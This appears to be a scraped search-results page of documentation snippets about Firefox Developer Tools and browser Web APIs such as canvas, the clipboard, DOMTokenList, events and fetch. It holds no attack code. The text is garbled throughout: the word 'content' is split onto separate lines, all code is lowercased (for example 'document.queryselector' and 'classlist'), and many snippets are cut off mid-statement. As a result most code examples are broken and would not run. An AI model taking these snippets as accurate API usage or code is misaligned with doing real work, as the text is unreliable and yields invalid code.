contents of the plug-ins directory, or the registry on windows.
... to determine the mime types and file extensions that the plug-in handles, the browser normally uses the
content of the registry entries for the plug-in described below in installation using the registry.
URLs - Plugins
both request the creation of a new stream with the
contents of the specified url, and, in addition, npn_geturlnotify notifies the plug-in of the successful or unsuccessful completion of the request.
... char* ppostdata = "
content-type:\tapplication/x-www-form-urlencoded\n
content-length:\t17\n\nname=aaashun@gmail.com\n"; uint32 npostdatalen = (uint32)strlen(ppostdata); npn_posturl(npinstance, "http://www.baidu.com","_blank", npostdatalen, ppostdata, false); uploading files to an ftp server plug-ins can use npn_posturl or npn_posturlnotify to upload files to a remote server using ftp.
Access debugging in add-ons - Firefox Developer Tools
the following items are accessible in the context of chrome://browser/
content/debugger.xul (or, in version 23 beta, chrome://browser/
content/devtools/debugger.xul): window.addeventlistener("debugger:editorloaded") - called when the read-only script panel loaded.
... window.addeventlistener("debugger:editorunloaded") relevant files: chrome://browser/
content/devtools/debugger-controller.js chrome://browser/
content/devtools/debugger-toolbar.js chrome://browser/
content/devtools/debugger-view.js chrome://browser/
content/devtools/debugger-panes.js unfortunately there is not yet any api to evaluate watches/expressions within the debugged scope, or highlight elements on the page that are referenced as variables in the debugged scope.
Aggregate view - Firefox Developer Tools
after firefox 48, the default view is the tree map view, and you can switch to the aggregate view using the dropdown labeled "view:": the aggregate view looks something like this: it presents a breakdown of the heap's
contents, as a table.
...you can use this to filter the
contents of the snapshot that are displayed, so you can quickly see, for example, how many objects of a specific class were allocated.
Migrating from Firebug - Firefox Developer Tools
edit html within the page inspector the tag attributes and the
contents can be edited inline just like in firebug.
...this feature can globally be enabled via the break on mutate button, or individually for each element and for different types of changes like attribute changes,
content changes or element removal.
Edit fonts - Firefox Developer Tools
fonts are considered "used" when there is text
content in the inspected element that has the font applied to it.
... they are used by a descendant of the inspected element, for example, when it is a container for other elements which have text
content with fonts applied.
Animation inspector example: CSS transitions - Firefox Developer Tools
html
content <div class="channel"> <img src="https://udn.realityripple.com/samples/e6/a96484b5c3.png" class="icon"/> <span class="note">firefox developer edition</span> </div> css
content .channel { padding: 2em; margin: 0.5em; box-shadow: 1px 1px 5px #808080; margin: 1.5em; } .channel > * { vertical-align: middle; line-height: normal; } .icon { width: 50px; height: 50px; filter: grayscale(100%); transition: transform 750ms ease-in, filter 750ms ease-in-out; } .note { margin-left: 1em; font: 1.5em "open sans",arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; transition: opacity 500ms 150ms, width 500ms 150ms; } .icon#selected...
... { filter: grayscale(0%); transform: scale(1.5); } .icon#selected+span { opacity: 1; width: 300px; } javascript
content function toggleselection(e) { if (e.button != 0) { return; } if (e.target.classlist.contains("icon")) { var wasselected = (e.target.getattribute("id") == "selected"); clearselection(); if (!wasselected) { e.target.setattribute("id", "selected"); } } } function clearselection() { var selected = document.getelementbyid("selected"); if (selected) { selected.removeattribute("id"); } } document.addeventlistener("click", toggleselection); ...
Responsive Design Mode - Firefox Developer Tools
controlling responsive design mode with responsive design mode enabled, the
content area for web pages is set to the screen size for a mobile device.
...for example: developer toolbox with rdm you can show or hide the developer tools toolbox independently of toggling responsive design mode itself: while responsive design mode is enabled, you can continue browsing as you normally would in the resized
content area.
Rich output - Firefox Developer Tools
click on the triangle, and the object will be expanded to show its
contents: starting with firefox 67 (available now in firefox developer) you can use the arrow keys on your keyboard to navigate through objects displayed in the console.
...the output will look something like this: console.log(todolist) array(4) [ {…}, {…}, {…}, {…} ] debugger eval code:1:9 undefined if you expand objects, such as arrays, you get slightly different
content.
Web Console UI Tour - Firefox Developer Tools
toolbar the toolbar across the top contains a number of features: garbage can: click this icon to clear the
contents of the console.
... note: you can clear the
contents of the console by entering the keyboard command ctrl + shift + l (windows, macos, and linux) or cmd + k on macos.
Firefox Developer Tools
closes the developer tools page inspector view and edit page
content and layout.
... about:debugging debug add-ons,
content tabs, and workers running in the browser.
AudioConfiguration - Web APIs
properties the audioconfiguration dictionary is made up of four audio properties, including:
contenttype: a valid audio mime type, for information on possible values and what they mean, see the web audio codec guide.
... examples //create media configuration to be tested const mediaconfig = { type : 'file', // 'record', 'transmission', or 'media-source' audio : {
contenttype : "audio/ogg", // valid
content type channels : 2, // audio channels used by the track bitrate : 132700, // number of bits used to encode 1s of audio samplerate : 5200 // number of audio samples making up that 1s.
Blob() - Web APIs
the
content of the blob consists of the concatenation of the values given in the parameter array.
... endings optional how to interpret newline characters (\n) within the
contents, if the data is text.
Blob.slice() - Web APIs
syntax var newblob = blob.slice(start, end,
contenttype); parameters start optional an index into the blob indicating the first byte to include in the new blob.
...
contenttype optional the
content type to assign to the new blob; this will be the value of its type property.
Blob.stream() - Web APIs
returns a readablestream which, upon reading, returns the
contents of the blob.
...this returns an array containing two new readablestream objects, each of which returns the
contents of the blob.
Body.json() - Web APIs
const mylist = document.queryselector('ul'); const myrequest = new request('products.json'); fetch(myrequest) .then(response => response.json()) .then(data => { for (const product of data.products) { let listitem = document.createelement('li'); listitem.appendchild( document.createelement('strong') ).text
content = product.name; listitem.append( ` can be found in ${ product.location }.
... cost: ` ); listitem.appendchild( document.createelement('strong') ).text
content = `£${product.price}`; mylist.appendchild(listitem); } }) .catch(console.error); specifications specification status comment fetchthe definition of 'body.json()' in that specification.
BroadcastChannel: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples live example in this example there's a "sender" <iframe> that broadcasts the
contents of a <textarea> when the user clicks a button.
...gecontrol.value); }) receiver 1 <h1>receiver 1</h1> <div id="received"></div> body { border: 1px solid black; padding: .5rem; height: 100px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } const channel = new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.text
content = event.data; }); receiver 2 <h1>receiver 2</h1> <div id="received"></div> body { border: 1px solid black; padding: .5rem; height: 100px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } const channel = new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcon...
Using the CSS Painting API - Web APIs
fillrect(0, 15, 200, 20) results in the creation of a rectangle that is 200 units wide by 20 units tall, positioned 0 units from the left and 15 units from the top of the
content box.
...by positioning some decorative generated
content with ::before, or including background: linear-gradient(yellow, yellow) 0 15px / 200px 20px no-repeat; what makes the css painting api so interesting and powerful is that you can create complex images, passing variables, that automatically resize.
CanvasRenderingContext2D.putImageData() - Web APIs
you can find more information about putimagedata() and general manipulation of canvas
contents in the article pixel manipulation with canvas.
...+ dirtywidth; for (var y = dirtyy; y < limitbottom; y++) { for (var x = dirtyx; x < limitright; x++) { var pos = y * width + x; ctx.fillstyle = 'rgba(' + data[pos*4+0] + ',' + data[pos*4+1] + ',' + data[pos*4+2] + ',' + (data[pos*4+3]/255) + ')'; ctx.fillrect(x + dx, y + dy, 1, 1); } } } // draw
content onto the canvas ctx.fillrect(0, 0, 100, 100); // create an imagedata object from it var imagedata = ctx.getimagedata(0, 0, 100, 100); // use the putimagedata function that illustrates how putimagedata works putimagedata(ctx, imagedata, 150, 0, 50, 50, 25, 25); result data loss due to browser optimization due to the lossy nature of converting to and from premultiplied alpha color values, p...
CanvasRenderingContext2D - Web APIs
canvasrenderingcontext2d.clearrect() sets all pixels in the rectangle defined by starting point (x, y) and size (width, height) to transparent black, erasing any previously drawn
content.
...the
contents of the window's viewport are rendered, ignoring viewport clipping and scrolling.
Pixel manipulation with canvas - Web APIs
tx.drawimage(img, 0, 0); img.style.display = 'none'; }; var color = document.getelementbyid('color'); function pick(event) { var x = event.layerx; var y = event.layery; var pixel = ctx.getimagedata(x, y, 1, 1); var data = pixel.data; var rgba = 'rgba(' + data[0] + ', ' + data[1] + ', ' + data[2] + ', ' + (data[3] / 255) + ')'; color.style.background = rgba; color.text
content = rgba; } canvas.addeventlistener('mousemove', pick); painting pixel data into a context you can use the putimagedata() method to paint pixel data into a context: ctx.putimagedata(myimagedata, dx, dy); the dx and dy parameters indicate the device coordinates within the context at which to paint the top left corner of the pixel data you wish to draw.
... note: be aware that if the canvas contains any pixels that were obtained from another origin without using cors, the canvas is tainted and its
contents can no longer be read and saved.
Clipboard.writeText() - Web APIs
return value a promise which is resolved once the clipboard's
contents have been updated.
... example this example sets the clipboard's
contents to the string "<empty clipboard>".
ClipboardItem.types - Web APIs
if no clipboards
contents is found for the specified type, an error is returned.
... async function getclipboard
contents() { try { const clipboarditems = await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
ClipboardItem - Web APIs
access to the
contents of the clipboard is gated behind the permissions api: the clipboard-write permission is granted automatically to pages when they are in the active tab.
... async function getclipboard
contents() { try { const clipboarditems = await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status ...
Comment - Web APIs
comments are represented in html and xml as
content between '<!--' and '-->'.
... constructor comment() returns a comment object with the parameter as its textual
content.
CustomElementRegistry - Web APIs
// create a class for the element class wordcount extends htmlparagraphelement { constructor() { // always call super first in constructor super(); // count words in element's parent element var wcparent = this.parentnode; function countwords(node){ var text = node.innertext || node.text
content return text.split(/\s+/g).length; } var count = 'words: ' + countwords(wcparent); // create a shadow root var shadow = this.attachshadow({mode: 'open'}); // create text node and add word count to it var text = document.createelement('span'); text.text
content = count; // append it to the shadow root shadow.appendchild(text); // update count when ...
...element
content changes setinterval(function() { var count = 'words: ' + countwords(wcparent); text.text
content = count; }, 200) } } // define the new element customelements.define('word-count', wordcount, { extends: 'p' }); note: the customelementregistry is available through the window.customelements property.
DOMTokenList.add() - Web APIs
we then add a new token to the list, and write the list into the <span>'s node.text
content.
... first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; classes.add("d"); span.text
content = classes; the output looks like this: you can add multiple tokens as well: span.classlist.add("d", "e", "f"); specifications specification status comment domthe definition of 'add()' in that specification.
DOMTokenList.contains() - Web APIs
we then test for the existence of "c" in the list, and write the result into the <span>'s node.text
content.
... first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let result = classes.contains("c"); if (result) { span.text
content = "the classlist contains 'c'"; } else { span.text
content = "the classlist does not contain 'c'"; } the output looks like this: specifications specification status comment domthe definition of 'contains()' in that specification.
DOMTokenList.entries() - Web APIs
we when retrieve an iterator containing the key/value pairs using entries(), then iterate through each one using a for...of loop, writing them to the <span>'s node.text
content.
... first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let iterator = classes.entries(); for (let value of iterator) { span.text
content += value + ' ++ '; } the output looks like this: specifications specification status comment domthe definition of 'entries() (as iterable<node>)' in that specification.
DOMTokenList.forEach() - Web APIs
we when retrieve an iterator containing the values using foreach(), writing each one to the <span>'s node.text
content inside the foreach() inner function.
... html <span class="a b c"></span> javascript let span = document.queryselector("span"); let classes = span.classlist; let iterator = classes.values(); classes.foreach( function(value, key, listobj) { span.text
content += `${value} ${key}/${this} ++ `; }, "arg" ); result polyfill this polyfill adds compatibility to all browsers supporting es5: if (window.domtokenlist && !domtokenlist.prototype.foreach) { domtokenlist.prototype.foreach = function (callback, thisarg) { thisarg = thisarg || window; for (var i = 0; i < this.length; i++) { callback.call(thisarg, this[i], i, this); } }; } specifications specification status comment domthe definition of 'foreach() (as iterable<node>)' in that specification.
DOMTokenList.item() - Web APIs
we then retrieve the last item in the list using item(tokenlist.length - 1), and write it into the <span>'s node.text
content.
... first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let item = classes.item(classes.length-1); span.text
content = item; the output looks like this: specifications specification status comment domthe definition of 'item()' in that specification.
DOMTokenList.keys() - Web APIs
of loop, writing each one to the <span>'s node.text
content.
... first, the html: <span class="a b c"></span> now the javascript: var span = document.queryselector("span"); var classes = span.classlist; var iterator = classes.keys(); for(var value of iterator) { span.text
content += value + ' ++ '; } the output looks like this: specifications specification status comment domthe definition of 'keys() (as iterable<node>)' in that specification.
DOMTokenList.length - Web APIs
examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist, then write the length of the list to the <span>'s node.text
content.
... first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let length = classes.length; span.text
content = `classlist length = ${length}`; the output looks like this: specifications specification status comment domthe definition of 'length' in that specification.
DOMTokenList.replace() - Web APIs
we then replace a token in the list, and write the list into the <span>'s node.text
content.
... first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let result = classes.replace("c", "z"); console.log(result); if (result) { span.text
content = classes; } else { span.text
content = 'token not replaced successfully'; } the output looks like this: polyfill the following polyfill will add the replace method to the domtokenlist class.
DOMTokenList.toggle() - Web APIs
we then replace a token in the list, and write the list into the <span>'s node.text
content.
... first, the html: <span class="a b">classlist is 'a b'</span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; span.addeventlistener('click', function() { let result = classes.toggle("c"); if (result) { span.text
content = `'c' added; classlist is now "${classes}".`; } else { span.text
content = `'c' removed; classlist is now "${classes}".`; } }) the output looks like this: specifications specification status comment domthe definition of 'toggle()' in that specification.
DOMTokenList.value - Web APIs
syntax tokenlist.value; value a domstring examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist, then write the value of the list to the <span>'s node.text
content.
... first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; span.text
content = classes.value; the output looks like this: specifications specification status comment domthe definition of 'value' in that specification.
DOMTokenList.values() - Web APIs
of loop, writing each one to the <span>'s node.text
content.
... first, the html: <span class="a b c"></span> now the javascript: var span = document.queryselector("span"); var classes = span.classlist; var iterator = classes.values(); for(var value of iterator) { span.text
content += value + ' ++ '; } the output looks like this: specifications specification status comment domthe definition of 'values() (as iterable<node>)' in that specification.
DataTransfer.dropEffect - Web APIs
html
content <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.
... </p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css
content div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript
content function dragstart_handler(ev) { console.log("dragstart: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed)...
DisplayMediaStreamConstraints.audio - Web APIs
the displaymediastreamconstraints dictionary's audio property is used to specify whether or not to request that the mediastream containing screen display
contents also include an audio track.
... note: the specification for the screen capture api does not define what the
contents of the audio track should be.
Document.anchors - Web APIs
example if (document.anchors.length >= 5) { dump("found too many anchors"); } the following is an example that auto populates a table of
contents with every anchor on the page: <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>test</title> <script> function init() { var toc = document.getelementbyid("toc"); var i, li, newanchor; for (i = 0; i < document.anchors.length; i++) { li = document.createelement("li"); newanchor = document.createelement('a'); newanchor.href = "#" + document.anchors[i].name; newanchor.innerhtml = document.anchors[i].text; li.appendchild(newan...
...chor); toc.appendchild(li); } } </script> </head> <body onload="init()"> <h1>title</h1> <h2><a name="
contents">
contents</a></h2> <ul id="toc"></ul> <h2><a name="plants">plants</a></h2> <ol> <li>apples</li> <li>oranges</li> <li>pears</li> </ol> <h2><a name="veggies">veggies</a></h2> <ol> <li>carrots</li> <li>celery</li> <li>beats</li> </ol> </body> </html> view on jsfiddle notes for reasons of backwards compatibility, the returned set of anchors only contains those anchors created with the name attribute, not those created with the id attribute.
Document.body - Web APIs
syntax const objref = document.body document.body = objref example // given this html: <body id="oldbodyelement"></body> alert(document.body.id); // "oldbodyelement" const anewbodyelement = document.createelement("body"); anewbodyelement.id = "newbodyelement"; document.body = anewbodyelement; alert(document.body.id); // "newbodyelement" notes document.body is the element that contains the
content for the document.
... in documents with <body>
contents, returns the <body> element, and in frameset documents, this returns the outermost <frameset> element.
Document.cookie - Web APIs
it can be easily bypassed using the dom, for example by creating a hidden <iframe> element with the path of the cookie, then accessing this iframe's
contentdocument.cookie property.
... the reason for the syntax of the document.cookie accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localstorage): the server tells the client to store a cookie http/1.0 200 ok
content-type: text/html set-cookie: cookie_name1=cookie_value1 set-cookie: cookie_name2=cookie_value2; expires=sun, 16 jul 3567 06:23:41 gmt [
content of the page here] the client sends back to the server its cookies previously stored get /sample_page.html http/1.1 host: www.example.org cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 accept: */* specifications specification ...
Document.evaluate() - Web APIs
*/ var thisheading = headings.iteratenext(); var alerttext = "level 2 headings in this document are:\n"; while (thisheading) { alerttext += thisheading.text
content + "\n"; thisheading = headings.iteratenext(); } alert(alerttext); // alerts the text of all h2 elements note, in the above example, a more verbose xpath is preferred over common shortcuts such as //h2.
...for example, if you know the
content you are looking for is somewhere inside the body tag, you can use this: document.evaluate(".//h2", document.body, null, xpathresult.any_type, null); notice in the above document.body has been used as the context instead of document so the xpath starts from the body element.
Document.readyState - Web APIs
var span = document.createelement("span"); span.text
content = "a <span> element."; document.body.appendchild(span); break; case "complete": // the page is fully loaded.
... console.log("the first css rule is: " + document.stylesheets[0].cssrules[0].csstext); break; } readystatechange as an alternative to dom
contentloaded event // alternative to dom
contentloaded event document.onreadystatechange = function () { if (document.readystate === 'interactive') { initapplication(); } } readystatechange as an alternative to load event // alternative to load event document.onreadystatechange = function () { if (document.readystate === 'complete') { initapplication(); } } readystatechange as event listener to insert or modify the dom before dom
contentloaded document.addeventlistener('readystatechange', event => { if (event.target.readystate === 'interactive') { initloader(); } else if (event.target.readystate === 'complete') { init...
Document: readystatechange event - Web APIs
bubbles no cancelable no interface event event handler property onreadystatechange examples live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-
contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-
content: center; } .event-log { grid-area: log; } .event-log-
contents { resize: none; } label, button { display: block; } #reload { height: 2rem; } js const log = document.queryselector...
...('.event-log-
contents'); const reload = document.queryselector('#reload'); reload.addeventlistener('click', () => { log.text
content =''; window.settimeout(() => { window.location.reload(true); }, 200); }); window.addeventlistener('load', (event) => { log.text
content = log.text
content + 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.text
content = log.text
content + `readystate: ${document.readystate}\n`; }); document.addeventlistener('dom
contentloaded', (event) => { log.text
content = log.text
content + `dom
contentloaded\n`; }); result specifications specification status comment html living standardthe definition of 'readystatechange' in that specification.
Document.registerElement() - Web APIs
and it won't be visible in the browser unless you add some
content to the tag.
... here is one way to add
content to the new tag: var mytag = document.getelementsbytagname("my-tag")[0]; mytag.text
content = "i am a my-tag element."; ...
Document.title - Web APIs
the
content of the <title> element in an html document).
... for html documents the initial value of document.title is the text
content of the <title> element.
Document: wheel event - Web APIs
even when it does, the delta* values in the wheel event don't necessarily reflect the
content's scrolling direction.
... <div>scale me with your mouse wheel.</div> body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-
content: center; } div { width: 105px; height: 105px; background: #cdf; padding: 5px; } function zoom(event) { event.preventdefault(); if (event.deltay < 0) { // zoom in scale *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `sca...
DocumentOrShadowRoot.caretPositionFromPoint() - Web APIs
demo html
content <p>lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.
...stet clita kasd gubergren, no sea takimata sanctus est lorem ipsum dolor sit amet.</p> javascript
content function insertbreakatpoint(e) { var range; var textnode; var offset; if (document.caretpositionfrompoint) { range = document.caretpositionfrompoint(e.clientx, e.clienty); textnode = range.offsetnode; offset = range.offset; } else if (document.caretrangefrompoint) { range = document.caretrangefrompoint(e.clientx, e.clienty); textnode = range.startcontainer; offset = range.startoffset; } // only split text_nodes if (textnode.nodetype == 3) { var replacement = textnode.splittext(offset); var br = document.createelement('br'); textnode.parentnode.insertbefore(br, replacement); } } ...
Document Object Model (DOM) - Web APIs
with them, you can change the document's structure, style, or
content.
... svgmeshgradientelement svgmeshpatchelement svgmeshrowelement svgmetadataelement svgmissingglyphelement svgmpathelement svgpathelement svgpatternelement svgpolylineelement svgpolygonelement svgradialgradientelement svgrectelement svgscriptelement svgsetelement svgsolidcolorelement svgstopelement svgstyleelement svgsvgelement svgswitchelement svgsymbolelement svgtext
contentelement svgtextelement svgtextpathelement svgtextpositioningelement svgtitleelement svgtrefelement svgtspanelement svguseelement svgunknownelement svgviewelement svgvkernelement svg data type interfaces here are the dom apis for data types used in the definitions of svg properties and attributes.
Element: compositionend event - Web APIs
(event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-
contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: grid; grid-template-areas: "control log"; } .control { grid-area: control; } .event-log { grid-area: log; } .event-log-
contents { resize: none; } label, button { display: block; } input[type="text"] { margin: .5rem 0; } kbd { border-radius: 3px; padd...
...ing: 1px 2px 0; border: 1px solid black; } js const inputelement = document.queryselector('input[type="text"]'); const log = document.queryselector('.event-log-
contents'); const clearlog = document.queryselector('.clear-log'); clearlog.addeventlistener('click', () => { log.text
content = ''; }); function handleevent(event) { log.text
content = log.text
content + `${event.type}: ${event.data}\n`; } inputelement.addeventlistener('compositionstart', handleevent); inputelement.addeventlistener('compositionupdate', handleevent); inputelement.addeventlistener('compositionend', handleevent); result specifications specification status ui events working draft ...
Element: compositionstart event - Web APIs
(event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-
contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: grid; grid-template-areas: "control log"; } .control { grid-area: control; } .event-log { grid-area: log; } .event-log-
contents { resize: none; } label, button { display: block; } input[type="text"] { margin: .5rem 0; } kbd { border-radius: 3px; padd...
...ing: 1px 2px 0; border: 1px solid black; } js const inputelement = document.queryselector('input[type="text"]'); const log = document.queryselector('.event-log-
contents'); const clearlog = document.queryselector('.clear-log'); clearlog.addeventlistener('click', () => { log.text
content = ''; }); function handleevent(event) { log.text
content = log.text
content + `${event.type}: ${event.data}\n`; } inputelement.addeventlistener('compositionstart', handleevent); inputelement.addeventlistener('compositionupdate', handleevent); inputelement.addeventlistener('compositionend', handleevent); result specifications specification status ui events working draft ...
Element: compositionupdate event - Web APIs
(event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-
contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: grid; grid-template-areas: "control log"; } .control { grid-area: control; } .event-log { grid-area: log; } .event-log-
contents { resize: none; } label, button { display: block; } input[type="text"] { margin: .5rem 0; } kbd { border-radius: 3px; padd...
...ing: 1px 2px 0; border: 1px solid black; } js const inputelement = document.queryselector('input[type="text"]'); const log = document.queryselector('.event-log-
contents'); const clearlog = document.queryselector('.clear-log'); clearlog.addeventlistener('click', () => { log.text
content = ''; }); function handleevent(event) { log.text
content = log.text
content + `${event.type}: ${event.data}\n`; } inputelement.addeventlistener('compositionstart', handleevent); inputelement.addeventlistener('compositionupdate', handleevent); inputelement.addeventlistener('compositionend', handleevent); result specifications specification status ui events working draft ...
Element: copy event - Web APIs
a handler for this event can modify the clipboard
contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.preventdefault().
... examples live example html <div class="source"
contenteditable="true">try copying text from this box...</div> <div class="target"
contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('copy', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); event.preventdefault(); }); result specifications ...
Element: error event - Web APIs
examples live example html <div class="controls"> <button id="img-error" type="button">generate image error</button> <img class="bad-img" /> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-
contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-
content: center; } .event-log { grid-area: log; } .event-log-
contents { resize: none; } label, button { display: block; } button { height: 2rem; margin: .5rem; } img { width: 0; heigh...
...t: 0; } js const log = document.queryselector('.event-log-
contents'); const badimg = document.queryselector('.bad-img'); badimg.addeventlistener('error', (event) => { log.text
content = log.text
content + `${event.type}: loading image\n`; console.log(event) }); const imgerror = document.queryselector('#img-error'); imgerror.addeventlistener('click', () => { badimg.setattribute('src', 'i-dont-exist'); }); result specifications specification status ui events working draft ...
Element.getBoundingClientRect() - Web APIs
if all the element's border-boxes are empty, then a rectangle is returned with a width and height of zero and where the top and left are the top-left of the border-box for the first css box (in
content order) for the element.
... <div></div> div { width: 400px; height: 200px; padding: 20px; margin: 50px auto; background: purple; } let elem = document.queryselector('div'); let rect = elem.getboundingclientrect(); for (var key in rect) { if(typeof rect[key] !== 'function') { let para = document.createelement('p'); para.text
content = `${ key } : ${ rect[key] }`; document.body.appendchild(para); } } notice how the width/height are equal to the equal to its width/height + padding.
Element.insertAdjacentHTML() - Web APIs
it is not recommended you use insertadjacenthtml() when inserting plain text; instead, use the node.text
content property or the element.insertadjacenttext() method.
... this doesn't interpret the passed
content as html, but instead inserts it as raw text.
Element: keydown event - Web APIs
keyboard events are only generated by <inputs>, <textarea> and anything with the
contenteditable attribute or with tabindex="-1".
... <input placeholder="click here, then press down a key." size="40"> <p id="log"></p> const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.addeventlistener('keydown', logkey); function logkey(e) { log.text
content += ` ${e.code}`; } onkeydown equivalent input.onkeydown = logkey; specifications specification status ui events working draft ...
Element: wheel event - Web APIs
even when it does, the delta* values in the wheel event don't necessarily reflect the
content's scrolling direction.
... <div>scale me with your mouse wheel.</div> body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-
content: center; } div { width: 105px; height: 105px; background: #cdf; padding: 5px; } function zoom(event) { event.preventdefault(); scale += event.deltay * -0.01; // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); el.onwheel = zoom; addeven...
Element - Web APIs
element.innerhtml is a domstring representing the markup of the element's
content.
... element.outerhtml is a domstring representing the markup of the element including its
content.
Event.composed - Web APIs
examples in our composed-composed-path example (see it live), we define two trivial custom elements, <open-shadow> and <closed-shadow>, both of which take the
contents of their text attribute and insert them into the element's shadow dom as the text
content of a <p> element.
... the first definition looks like this, for example: customelements.define('open-shadow', class extends htmlelement { constructor() { super(); let pelem = document.createelement('p'); pelem.text
content = this.getattribute('text'); let shadowroot = this.attachshadow({mode: 'open'}) .appendchild(pelem); } }); we then insert one of each element into our page: <open-shadow text="i have an open shadow root"></open-shadow> <closed-shadow text="i have a closed shadow root"></closed-shadow> then include a click event listener on the <html> element: document.queryselector('html').addeventlistener('click',function(e) { console.lo...
Event.composedPath() - Web APIs
examples in our composed-composed-path example (see it live), we define two trivial custom elements, <open-shadow> and <closed-shadow>, both of which take the
contents of their text attribute and insert them into the element's shadow dom as the text
content of a <p> element.
... the first definition looks like this, for example: customelements.define('open-shadow', class extends htmlelement { constructor() { super(); let pelem = document.createelement('p'); pelem.text
content = this.getattribute('text'); let shadowroot = this.attachshadow({mode: 'open'}) .appendchild(pelem); } }); we then insert one of each element into our page: <open-shadow text="i have an open shadow root"></open-shadow> <closed-shadow text="i have a closed shadow root"></closed-shadow> then include a click event listener on the <html> element: document.queryselector('html').addeventlistener('click',function(e) { console.lo...
EventSource - Web APIs
the eventsource interface is web
content's interface to server-sent events.
... var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.text
content = "message: " + e.data; eventlist.appendchild(newelement); } each received event causes our eventsource object's onmessage event handler to be run.
Cross-global fetch usage - Web APIs
frame.
contentwindow.fetch() the url passed to fetch needs to be relative the problem in the past we would resolve the relative url against the current global, for example: let absolute = new url(relative, window.location.href) this is not a problem as such.
...so in the case described above, it is resolved against the iframe's location: let absolute = new url(relative, frame.
contentwindow.location.href) there is a lot of discussion in progress about getting new specs to align with this behavior change, to mitigate potential problems going forward.
Fetch API - Web APIs
once a response is retrieved, there are a number of methods available to define what the body
content is and how it should be handled (see body).
